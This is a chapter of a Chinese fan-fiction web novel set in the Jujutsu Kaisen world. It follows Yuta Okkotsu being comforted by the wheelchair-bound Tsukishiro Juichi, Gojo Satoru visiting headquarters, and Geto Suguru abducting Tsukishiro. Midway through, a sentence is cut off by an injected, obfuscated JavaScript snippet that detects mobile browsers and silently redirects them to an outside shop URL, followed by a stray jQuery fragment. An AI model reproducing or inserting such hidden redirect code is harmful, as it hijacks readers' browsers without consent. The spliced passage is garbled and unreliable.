文趣网 > 都市小说 > 总监部?文豪马甲团建! > 3. 第 3 章
    说出那句话的时候,乙骨忧太便有些后悔了。

    他到底在对第一次见面的人说什么啊……月城先生看出他想要逃避的心理了吗?会笑他吗?

    乙骨忧太又把自己缩了回去,好像这样就能避开一切伤害。

    忧……太……

    即便身处层层咒符压制的封印室,他似乎仍能听见里香的声音,古怪的、拖长的调子,像从极远的地方渗进来,黏腻地攀上耳廓。

    乙骨忧太捂住耳朵,不要叫我,不要叫我,对不起,对不起,我不是故意的,对不起……

    “对不起,对不起,对不起……”

    轮椅碾过地面的声音从乙骨忧太死死捂住耳朵的指缝间钻了进去,一点一点地、不容抗拒地抵达了他。

    然后是一只手落在了他的头顶。

    力道极轻,轻得像一片雪。随着那份重量而来的,是视野中晃眼的白,以及一股清冽的淡香,泠泠的,像山涧初融的冰水,将封印室里经年不散的腐朽与纸墨苦香一层层覆盖过去。

    一下,又一下。

    ……啊。

    乙骨忧太不知什么时候已经泪流满面,整个人扑在月城十一的膝上,手指死死攥住对方宽大的袖摆,像溺水的人抓住最后一段浮木,委屈地大哭起来。

    他想要的从来不多。

    只要一点安慰就好,只要一点点就好。

    ……好害怕。

    看见里香的时候很害怕。

    听见那些人惨叫的时候很害怕。

    被五条先生带走的时候很害怕。

    要一个人待在这间令人窒息的囚室的时候,很害怕。

    说不清的恐惧在这间静到连呼吸声都能听见的屋子里蔓延,他不敢闭上眼睛,不想输给这份恐惧,不知道该怎么办。

    为什么是他?

    待在这里的每一秒,乙骨忧太都在问自己。

    为什么里香选择了他?

    好像只要把这一切的错误推给里香,他的内心就能轻松一点,好过一点。

    对不起。

    里香。

    对不起。

    我这样的人根本不值得你保护。

    ……

    乙骨忧太赤脚跟在月城十一的身后。

    时不时地有穿着黑西装的辅助监督从他们身侧走过,停步,对着月城十一弯腰致意。

    除此之外,什么都没有。没有一个人将目光落在他身上,这个发现让乙骨忧太有些安心,就连离开封印室之后重新涌上来的不安,都减轻了些许。

    如果能一直这么走下去,好像也不错,就在乙骨忧太这么想着时,月城十一停下了。

    一直盯着月城十一的乙骨忧太没有注意到这一点,又往前走了两步,膝盖重重地撞上了轮椅。

    不知道什么材质制造的轮椅,坚硬程度堪比金刚石,一阵剧痛瞬间将他从恍惚中拽了回来,他下意识地道歉。

    “对不起!”

    月城十一操控着轮椅转过身,有些担忧地望向乙骨忧太:“我倒是没关系,你没事吧?”

    到底是系统出品的道具,被那么撞了一下,轮椅纹丝不动,甚至连一丝震颤都没传到他身上。

    受伤的反而是乙骨忧太。

    “没……没事……”乙骨忧太强迫自己忽略剧痛之后,膝盖上出现的那阵钝痛,抬眼看向四周。

    这里是……

    等在一边的辅助监督上前一步,将手中的制服递给乙骨忧太。

    乙骨忧太没有接,视线下意识地寻找月城十一。

    “给你准备的,先去洗漱一下。”

    洗漱。

    乙骨忧太低下头,这才后知后觉地意识到自己此刻的模样有多狼狈。

    他从辅助监督手上拿过制服,道了声谢。

    “浴室在那边,腿还疼吗?”

    乙骨忧太摇了摇头,刚撞上去那一瞬间确实疼得厉害,这会儿已经好多了。

    他拎着装有制服的袋子,走向浴室。

    浴室里的镜子照出乙骨忧太现在的样子。

    刚哭过的眼睛还很红,泪痕在那张清瘦的脸上留下一道道痕迹,皱巴巴的校服衬衫上不知什么时候蹭上了一道干涸的血痕,乙骨忧太抬起手,食指按上那道暗红的痕迹,刚好盖住。

    血。

    是……那些人的?

    乙骨忧太猛地拧开水龙头,开到最大,水流哗啦啦地砸进洗手池,溅起的水花打在袖口上,湿漉漉地贴着皮肤。

    他用力地搓洗着指缝,一遍又一遍,仿佛上面沾了什么不干净的东西。

    洗干净、要洗干净……

    “忧……太……”里香庞大扭曲的身体出现在乙骨忧太身后,担忧地叫着他的名字。

    想要阻止忧太自虐般的动作,却又不敢上前,害怕看见忧太恐惧自厌的眼神。

    “忧……太……”

    咒灵的影子是不会出现在镜子里的,听见里香的声音,乙骨忧太猛地抬起头,却只能看见镜子中狼狈不堪的自己。

    好丑。

    他抬起手,颤抖地捂住了自己的脸,喉咙里溢出一声被死死压住的呜咽,

    “呜……”

    “扣扣扣。”

    门外忽然传来三下克制的叩门声,紧接着是月城十一带着担忧的声音,隔着门板传进来:“忧太,你还好吗?”

    乙骨忧太做了个深呼吸,重新抬起头,看向镜子中的自己。

    水珠还挂在他的睫毛上,亮晶晶的,但那双孔雀蓝的眼底,终于有了一点点微弱的光。

    “……没事。”

    他会没事的。

    洗漱完,乙骨忧太换上干净的制服。

    宽袖立领的白色上衣,衣襟上缀有高专标志性的螺旋纹金色纽扣,搭配深色的裤子的腰带。

    镜子里的人终于不再像之前那样狼狈邋遢,反而透出一股清瘦的少年气。

    他最后看了自己一眼,推门走出去。

    “月城先生。”

    月城十一已经换了一身衣服,此刻正坐在窗边,手里握着一只素白的茶壶,将刚沏好的热茶缓缓注入杯中。

    “坐。”

    乙骨忧太乖乖地坐下。

    他将还有些烫手的茶杯握在手里,垂眸盯着清透的茶水,看了好一会儿,才端起来小小地抿了一口。

    滚烫的温度落在唇瓣上,他轻轻地“嘶”了一声,连忙把茶杯放了下来。

    月城十一看着乙骨忧太的动作,眼底浮起一层浅浅的笑意。

    那笑意很淡,却让乙骨忧太的心口没来由地热了一下,他连忙低下头。

    月城十一换了一杯温水递过去,乙骨忧太接过来,小心地啜了一口。

    温润的液体顺着喉咙滑下去,将方才那阵灼烫熨帖地安抚下来。他紧皱的眉头一寸一寸地舒展开。

    等到乙骨忧太的情绪完全平复,月城十一给他添上新的茶水,放下茶壶,语气不紧不慢:“为什么想要跟着我?”

    “如你所见,我只是一个不良于行的人,待在我身边并不是一件好事。”

    “而在高专,你可以学习到很多。”

    “只有变得强大,才不会任人宰割。”

    强大,像五条先生那样吗?

    乙骨忧太不知道,他是一个很容易受到旁人影响的人,好像血液中从未流淌过“勇敢”这两个字。被人欺负也不会还手,受到帮助也不敢道谢,这样的他也可以变强大吗?

    这样想着的时候,乙骨忧太听见了一声无奈的轻叹。

    果然,是对他这种人失望了吧。

    乙骨忧太捏紧了指间的茶杯。

    “忧太,你很强。”

    “但是这份强大如果无法控制,是会伤害到别人的,这个道理,你应该明白。”

    他知道的。

    他很早之前就知道了。

    乙骨忧太沉默地盯着手中的茶杯。

    “……对不起。”

    “为什么要说对不起?”

    乙骨忧太也不知道,他总是这样,搞不明白自己在想什么,所以才会一步落步步落。

    月城十一没有再追问,体贴地给了少年思考的时间。

    乙骨忧太的眼眶又有些发酸,但他忍住了。他把那口温水慢慢地、一小口一小口地喝完,然后把杯子轻轻放回桌上。

    “月城先生……”他的声音哑哑的,像刚学会说话的孩子,笨拙而小心,“我会去高专的。”

    等到他变得强大,是不是就能留在月城先生身边了?

    ……

    翌日。

    五条悟又来到了总监部。

    最近因为乙骨忧太的事情,他把所有的出差任务全部推掉了,所以才能一大早跑来总监部。

    开车送他来总监部的五条靳没有想太多,家主确实讨厌总监部,非必要不会出现在总监部,但这不是乙骨忧太的事情还没解决吗?

    五条靳目送着家主离开的背影。

    为了乙骨忧太,家主居然愿意连续两天踏入总监部,实在是……实在是……太负责了!

    呜呜呜誓死守护这个世界上最好的家主大人!

    对于族人丰富的内心戏五条悟一无所知,他看了眼时间,这个点还早,他昨天睡了七个小时,好久没睡过这么长时间了,今天他一大早就醒了过来。

    睡醒了就睡不着了,五条悟在家里消磨了好一段时间,装甜品的碟子都在桌上垒了半人高,吃得他都撑了。

    他从来没觉得时间这么难熬过!结果打开手机一看,还不到六点。

    于是五条悟把族里“亦未寝”的族人们从床上薅了起来,有一个算一个全部拎到练武场,进行了一场酣畅淋漓的晨间特训。

    最后看在大家跪着求他的份上,才神清气爽地出了门。

    本来他还想打车的,结果运气不错,刚出门就撞到了刚做完任务从外面回来的五条靳,对方非要送他出门,推辞不过,五条悟只好搭了个顺风车。

    现在,八点半。

    五条悟再次看了眼手机的聊天界面

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680691|207673||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,还是没有收到新的消息。

    他决定先去看一眼乙骨的情况。

    昨天他虽然把乙骨拜托给了十一,但乙骨到底是高层开口关押的,十一估计也不能帮他什么。

    好在乙骨的安危不需要担心,即使那群烂橘子想要秘密处死他,也做不到,不然也不会刻意让他去找乙骨忧太了,不就是担心无法处理里香么?

    不过杀不死乙骨,不代表无法冷处理乙骨……嗯,决定了,如果等会儿发现乙骨被虐待了,他就直接把人带走!

    昨天就想这样做了,但是那个男人……很危险,六眼下那个男人的咒力并不高,出手试探的时候,那个男人的体术也很弱,但五条悟的直觉告诉他,那个男人很危险。

    可惜,每一次见那群烂橘子的时候他们都躲在屏风后面,连面都不敢露,多看几眼说不定能分析出什么。

    五条悟走到地牢,却被告知乙骨忧太的位置转移了。

    “人在哪。”他皮笑肉不笑地看着眼前的黑西装。

    果然……

    “在招待室。”

    “什么?”

    -

    黑西装,也就是0623号,将五条悟到来的消息发送到了月城十一的系统面板上。

    “来找忧太的?”

    看见0623号发来的信息时,月城十一刚刚吃完早饭。

    昨天五条悟给他打电话时他还吃了一惊,没想到"不存在的记忆"居然还在五条悟的记忆里自动补全了他的联系方式。

    不过想想也是,这个世界本来就不太讲科学,他也就没再多纠结,顺着电话跟五条悟聊了聊乙骨忧太的事。

    电话里的五条悟比面对面见到时正经了不少,说话条理分明,偶尔透出几分不容回绝的强势,却又不让人觉得冒犯,明明系统留下的记录里写着,五条悟是“除了性格之外全都完美的男人”。

    月城十一倒是没感觉五条悟的性格有哪里不好了,性格糟糕的人可不会为了一个与家族完全没有任何关系的乙骨忧太,与总监部对抗。

    分明是一个很负责的人。

    他垂眼,指尖在屏幕上敲了一行字。

    【关于忧太的事情,我想跟你谈一谈】

    【发送成功】

    消息刚发出去,月城十一的身侧不知和时悄无声息出现了一道气息。

    “看样子,我来得不巧。”

    那嗓音懒洋洋的,带着一种说不清道不明的亲昵尾调。

    月城十一还没来得及转头,来人已经笑眯眯地弯下腰,修长的手指勾起了他垂落在肩侧的一缕雪色长发,动作自然而熟稔地拈到鼻端,极轻地嗅了一下。

    月城十一的眼睛慢慢睁大。

    他看着眼前的人。半长的黑发松松地束在脑后,额前几缕碎发垂下来,衬得那双细长的眼睛愈发幽深。眼尾微微上挑,里面盛着一汪看似温柔的,却让人觉得脊背发凉的笑意。

    夏油杰。

    他昨天翻阅系统手册时扫到过这个名字。

    五条悟在高专时期的同窗,术式为咒灵操术,在屠戮了一整个村庄的村民后叛逃至今的特级诅咒师。

    “很惊讶吗?我知道你在这里。”

    月城十一皱起眉,抬手,从夏油杰的手中取回了自己的头发,然后操控着轮椅往后退,直到椅背轻轻撞上了后面的书柜,发出一声沉闷的轻响。

    全程,夏油杰都保持着那副笑眯眯的模样,看着月城十一往后退去,直到退无可退,只能故作镇定地抬起眼来,问他:“你来这里做什么。”

    “来见你,不可以吗?”

    见他?

    为什么?

    月城十一抿起唇,完全不明白夏油杰在说什么,他语气冷淡:“你走吧,我不会告诉其他人你来过这里的。”

    对于夏油杰这个人,月城十一不想评价,但很明显,一个在逃通缉犯出现在通缉他的人面前肯定不是什么好事。

    只是月城十一也不是原来的月城十一了,六千层封印压下来,不用些特殊手段,对夏油杰动手他根本讨不了好。

    上班第一天就遇见这种事,月城十一不太高兴,但习惯了动手的他连一句狠话都说不利索,冷着脸的样子非但不吓人,反而因为那张过分好看的脸而透出几分虚张声势的可爱。

    “还是这么天真啊,十一。”

    夏油杰感慨般地说着,唇角的弧度一点点地拉大。

    可他的嗓音却极尽轻柔,像在对什么易碎的珍物说话,带着一种几乎称得上怜爱的语调。

    “我会走的,但是,你要跟我一起走。”

    月城十一没有听清楚后面的话,在夏油杰开口的时候,他正忙着努力跟突如其来的困意做对抗。

    “你……”

    他的嘴唇翕动了一下,只来得及发出一个模糊的音节,眼前的景象便开始模糊起来。

    夏油杰含笑的面容在他视线里拖成一道长长的光影,然后被黑暗吞没。

    月城十一的脑袋往旁边一歪,失去了意识。